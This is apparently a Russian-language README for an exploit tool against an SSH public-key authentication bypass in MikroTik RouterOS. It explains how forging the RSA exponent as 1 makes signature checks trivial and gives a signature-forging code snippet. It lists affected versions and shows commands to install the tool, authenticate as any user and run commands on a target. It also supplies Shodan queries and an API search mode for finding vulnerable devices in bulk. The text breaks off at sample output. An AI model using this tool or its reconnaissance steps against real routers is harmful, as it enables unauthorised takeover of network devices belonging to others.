CVE-2026-67276 - Эксплойт обхода аутентификации SSH MikroTrik

Обход аутентификации по открытому ключу SSH в MikroTik RouterOS — закрытый ключ не требуется

Доказательство концепции эксплуатации CVE-2026-67276 (MikroTrick) — критической уязвимости обхода аутентификации в реализации SSH в MikroTik RouterOS, которая позволяет злоумышленникам аутентифицироваться под любым пользователем без наличия его закрытого ключа.

---

Содержание

• Обзор уязвимости
• Как это работает
• Затронутые версии
• Установка
• Использование
• Разведка через Shodan
• Технические детали
• Устранение
• Ссылки
• Отказ от ответственности

---

Обзор уязвимости

Деталь	Информация
ID CVE	CVE-2026-67276
Критичность	Критическая (CVSS 9.8)
CWE	CWE-347 (Некорректная проверка криптографической подписи)
Вектор атаки	Сеть
Аутентификация	Не требуется
Сложность	Низкая
Воздействие	Полная компрометация устройства

Цепочка атак MikroTrick

CVE-2026-67276 является частью более крупной цепочки атак, названной «MikroTrick» командой CERT PL, которая, как было замечено, активно эксплуатируется в дикой природе:

CVE	Тип	Описание
CVE-2026-67276	Обход аутентификации	Обход аутентификации по открытому ключу SSH через подделку экспоненты
CVE-2026-86060	Повышение привилегий	Внедрение аргументов через имя пользователя
CVE-2026-67279	Обход аутентификации	SSH-соединение без завершённой userauth
CVE-2026-67277	Раскрытие информации	Утечка памяти ядра через bandwidth-test
CVE-2026-67278	Обход подписи	Принятие некорректной подписи X.509
CVE-2026-67281	Чтение файлов	Чтение корневых файлов WebFig через jsproxy

---

Как это работает

Уязвимость

В аутентификации SSH RouterOS есть критический недостаток в том, как проверяются открытые ключи:

1. Ошибка сопоставления ключей: RouterOS сопоставляет представленный блоб открытого ключа SSH с авторизованными ключами, используя только (тип ключа, модуль), полностью пропуская экспоненту
2. Экспонента от клиента: Проверка подписи использует экспоненту из блоб-данных, предоставленных клиентом, а не из сохранённого ключа
3. Тривиальная подделка: Представление {ssh-rsa, e=1, n=модуль_жертвы} делает проверку тривиальной

Математическая основа

Стандартная проверка RSA:  sig^65537 mod n == ожидаемое  (требуется закрытый ключ)
Эксплуатируемая проверка:  sig^1 mod n == sig            (закрытый ключ НЕ нужен!)

При экспоненте e=1 проверка подписи становится:

sig^1 mod n == sig

Это означает, что «подпись» — это просто само сообщение, закодированное по EMSA-PKCS1-v1_5 — которое может создать любой, кто знает открытый модуль жертвы.

Предварительные условия атаки

1. Имя целевого пользователя учётной записи с авторизованным ключом RSA
2. Открытый модуль RSA n этого авторизованного ключа (из файла .pub, предыдущих подключений и т. д.)
3. Сетевой доступ к порту SSH

---

Затронутые версии

Ветка	Уязвимый диапазон	Исправленная версия
6.x	6.0 - 6.49.20	6.49.21+
7.x stable	7.0 - 7.23.3	7.23.4+
7.x testing	7.24.0 - 7.24.1	7.24.2+

---

Установка

# Клонирование репозитория
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026

# Установка зависимостей
pip install paramiko cryptography

---

Использование

Быстрый старт

# Базовый эксплойт — автоматическая генерация ключа, определение версии
python3 full_exploit.py --host 192.168.88.1 --username admin

# Выполнение команды после аутентификации
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'

# Нестандартный порт
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin

Использование существующего открытого ключа

# Если у вас есть файл открытого ключа жертвы
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub

# Или укажите модуль напрямую
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."

Определение версии

Эксплойт автоматически определяет версию RouterOS и проверяет статус уязвимости:

# Принудительное выполнение эксплойта даже на не-MikroTik или неизвестной версии
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check

Все параметры

--host              IP-адрес/имя хоста целевого RouterOS (обязательно)
--port              Порт SSH (по умолчанию: 22)
--username          Имя пользователя целевого RouterOS (обязательно)
--pubkey            Файл открытого ключа RSA (автоматически генерируется, если не указан)
--modulus-hex       Модуль RSA в hex (альтернатива --pubkey)
--algos             Алгоритмы подписи (по умолчанию: ssh-rsa,rsa-sha2-256)
--exec              Команда для выполнения после аутентификации
--exp-enc           Кодировка экспоненты: каноническая (1 байт) или выровненная (3 байта)
--timeout           Таймаут соединения (по умолчанию: 15.0 секунд)
--skip-version-check    Пропустить проверку версии RouterOS
--shodan-dorks      Вывести поисковые запросы Shodan
--shodan-search     Поиск целей через API Shodan
--shodan-key        Ключ API Shodan
--shodan-query      Пользовательский запрос Shodan
--shodan-limit      Лимит результатов Shodan (по умолчанию: 100)

---

Разведка через Shodan

Вывод поисковых запросов

python3 full_exploit.py --shodan-dorks

Поиск через API Shodan

# Базовый поиск
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY

# Пользовательский запрос
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'

Полезные запросы Shodan

Цель	Запрос
Все MikroTik	MikroTik
MikroTik SSH	MikroTik port:22
Открытый Winbox	port:8291
Панель WebFig	http.title:RouterOS
RouterOS 6.49.x	MikroTik "6.49"
RouterOS 7.x	MikroTik "RouterOS v7"
По стране	MikroTik country:US
Признак уязвимости	MikroTik ("6.49" OR "7.23" OR "7.24.0")

---

Технические детали

Структура блоба открытого ключа SSH

string    "ssh-rsa"
mpint     e (открытая экспонента)  <- Злоумышленник указывает e=1
mpint     n (модуль)               <- Фактический модуль жертвы

Генерация поддельной подписи

# «Подпись» — это просто данные аутентификации, закодированные по EMSA-PKCS1-v1_5
def forged_signature(data, sig_alg, n):
    k = (n.bit_length() + 7) // 8
    block = emsa_pkcs1_v15(data, sig_alg, k)
    return block  # Это И ЕСТЬ действительная подпись при e=1

Примечания к формату передачи

• Внутренняя строка типа блоба остаётся ssh-rsa даже для алгоритмов rsa-sha2-256/512
• Алгоритм подписи указывается только во внешнем поле алгоритма
• Как каноническая (1 байт), так и выровненная (3 байта) кодировки e=1 работают на уязвимых версиях

---

Пример вывода

[*] CVE-2026-67276 MikroTrick Exploit
[*] Цель: 192.168.88.1:22